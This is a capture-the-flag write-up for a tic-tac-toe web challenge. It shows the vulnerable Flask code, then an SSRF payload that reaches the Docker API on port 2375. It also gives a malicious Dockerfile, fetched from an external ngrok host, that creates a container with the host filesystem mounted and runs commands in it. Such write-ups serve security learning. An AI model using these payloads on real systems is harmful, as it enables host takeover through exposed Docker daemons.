Hack. Eat. Sleep. Repeat!!!
from flask import Flask, render_template, request, jsonify
import requests, json
import url
import subprocess
import logging
app = Flask(__name__)
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)
def wrap_response(resp):
try:
parsed = json.loads(resp)
except json.JSONDecodeError:
parsed = resp
return {"body": parsed}
@app.route("/")
def home():
return render_template("index.html")
@app.route("/deploy")
def deploy():
container_inspect = subprocess.run(["docker", "inspect", "game"], stdout=subprocess.PIPE)
resp = json.loads(container_inspect.stdout)
if len(resp) > 0:
return jsonify({"status": 1})
docker_cmd = ["docker", "run", "--rm", "-d", "-p", "8000:8000", "--name", "game", "b3gul4/tic-tac-toe"]
subprocess.run(docker_cmd)
return jsonify({"status": 0})
@app.route("/")
def game():
return render_template("index.html")
@app.post("/")
def play():
game = url.get_game_url(request.json)
if game["error"]:
return jsonify({"body": {"error": game["error"]}})
try:
if game["action"] == "post":
resp = requests.post(game["url"], json=request.json)
if resp.status_code < 200 or resp.status_code >= 300:
logger.debug(resp.text)
return jsonify({"body": {"error": "there was some error in game server"}})
else:
resp = requests.get(game["url"])
if resp.status_code < 200 or resp.status_code >= 300:
logger.debug(resp.text)
return jsonify({"body": {"error": "there was some error in game server"}})
except Exception as e:
return jsonify({"body": {"error": "game server down"}})
return jsonify(wrap_response(resp.text))
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
Url.py-:import os
URL = "http://<domain>:<port>/<game_action>"
def is_valid_state(state):
if len(state) != 9:
return False
for s in state:
if s not in ["X", "O", "_"]:
return False
return True
def get_game_url(req_json):
try:
api = req_json["api"]
keys = list(api.keys())
url = URL.replace("<domain>", os.getenv("GAME_API_DOMAIN"))
url = url.replace("<port>", os.getenv("GAME_API_PORT"))
# The game api is going to have many more endpoints in future, I do not want to hardcode the action
url = url.replace(keys[0], api[keys[0]])
if not is_valid_state(req_json["state"]):
return {"url": None, "action": None, "error": "Invalid state"}
return {"url": url, "action": req_json["action"], "error": None}
except Exception as e:
print(e)
return {"url": None, "action": None, "error": "Internal server error"}
get_game_url and pass the json body to create a url.We just need to focus on get_game_url() to understand how the url is being created and trigger the Server Side Request Forgery.
The function picks key api from the dict and picks the keys from the dict with keys() object.Later, the url is replaced with environmental variables which will make the url look like this http://localhost:8000/<game_action>.The <game_action> will be replaced with the value of the first key.The json body must also contain an action key which will determine whether the request should be get or post and a state to mimic the tic-tac-toe state.The state must be a list containing 9 characters[string] and must consist of either X','_' or '0'.import os
URL = "http://<domain>:<port>/<game_action>"
def is_valid_state(state):
if len(state) != 9:
return False
for s in state:
if s not in ["X", "O", "_"]:
return False
return True
def get_game_url(req_json):
try:
api = req_json["api"]
keys = list(api.keys())
url = URL.replace("<domain>", os.getenv("GAME_API_DOMAIN"))
url = url.replace("<port>", os.getenv("GAME_API_PORT"))
# The game api is going to have many more endpoints in future, I do not want to hardcode the action
url = url.replace(keys[0], api[keys[0]])
if not is_valid_state(req_json["state"]):
return {"url": None, "action": None, "error": "Invalid state"}
return {"url": url, "action": req_json["action"], "error": None}
except Exception as e:
print(e)
return {"url": None, "action": None, "error": "Internal server error"}
SSRF by creating an object in this manner because we want the entire url to be replaced with our own url.The url will be like this http://localhost:8000/<game_action> after it gets replaced by the url.py script which will be the first key of the api dict.The key http://localhost:8000/<game_action> will be replaced with our malicious url which will be the Docker api url as seen below.{"api":{"http://localhost:8000/<game_action>":"http://localhost:2375/container/json"},"state":["X","X","X","X","X","X","X","X","X"],"action":"get"}
200 to 300.try:
if game["action"] == "post":
resp = requests.post(game["url"], json=request.json)
if resp.status_code < 200 or resp.status_code >= 300:
logger.debug(resp.text)
return jsonify({"body": {"error": "there was some error in game server"}})
else:
resp = requests.get(game["url"])
if resp.status_code < 200 or resp.status_code >= 300:
logger.debug(resp.text)
return jsonify({"body": {"error": "there was some error in game server"}})
except Exception as e:
return jsonify({"body": {"error": "game server down"}})
return jsonify(wrap_response(resp.text))
alpine image, it will install the docker-cli and make the /app directory the home directory.The requirements.txt file will be copied into it and installed with pip followed by the app.py url.py and templates.The flag.txt will be copied to /flag/.Environmental variables will also be set,Host tcp://localhost:2375 will be set to DOCKER_HOST,the GAME_API_DOMAIN will be set to localhost and the GAME_API_PORT wil be set to 8000.Lastly, python gunicorn will be used to initialized the app.FROM python:3.9-alpine
RUN apk add --no-cache docker-cli
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY ./templates ./templates
COPY app.py .
COPY url.py .
COPY flag.txt /flag/
ENV DOCKER_HOST="tcp://localhost:2375"
ENV GAME_API_DOMAIN="localhost"
ENV GAME_API_PORT="8000"
CMD ["gunicorn", "--bind", "0.0.0.0:80", "app:app", "--capture-output", "--log-level", "debug"]
2375 which we can exploited to create containers,start containers,execute command and for malicious actions.We will be interacting with this internal url localhost:2375 to load endpoints to buld a container,mount the host filesystem in it and execute commands on the container.With the aid of the action json key,we can make get and post requests to send data to the internal service.Mounting the host filesystem in the malicious container will allow us escape to the host filesystem./flag in the malicious container.I got the idea of the script from m0z.RUN apk add --no-cache curl jq
RUN curl -X POST -H "Content-Type: application/json" -d '{"image": "alpine","Tty":true,"OpenStdin":true,"AutoRemove":true,"HostConfig":{"NetworkMode":"host","Binds":["/:/flag"]}}' http://localhost:2375/containers/create?name=shell
RUN curl -X POST http://localhost:2375/containers/shell/start
RUN exec_id=$(curl -s -X POST -H "Content-Type: application/json" -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":["mkdir", "/mnt/tmp/pwned"]}' http://localhost:2375/containers/shell/exec | jq -r .Id) && curl -X POST "http://localhost:2375/exec/$exec_id/start" -H "Content-Type: application/json" -d '{"Detach": false, "Tty": false}'
/build endpoint.❯ curl https://tic-tac-toe-8f5a953dc460f141.ctf.pearlctf.in/ -H "Content-Type: application/json" -d '{"api":{"http://localhost:8000/<game_action>":"http://localhost:2375/build?remote=http://4.tcp.eu.ngrok.io:12053/Dockerfile&networkmode=host"},"state":["X","X","X","X","X","X","X","X","X"],"action":"post"}'
{"body":""}
exec endpoint.I grabbed the container’s id from /containers/json endpoint which shows containers running on the server./flag/flag/flag.txt.To trigger a shell command on docker, an exec id has to be created which will be passed to the /exec/[id]/start endpoint to trigger the shell command./exec/[id]start endpoint.pearl{do_y0u_r34llY_kn0w_d0ck3r_w3ll?}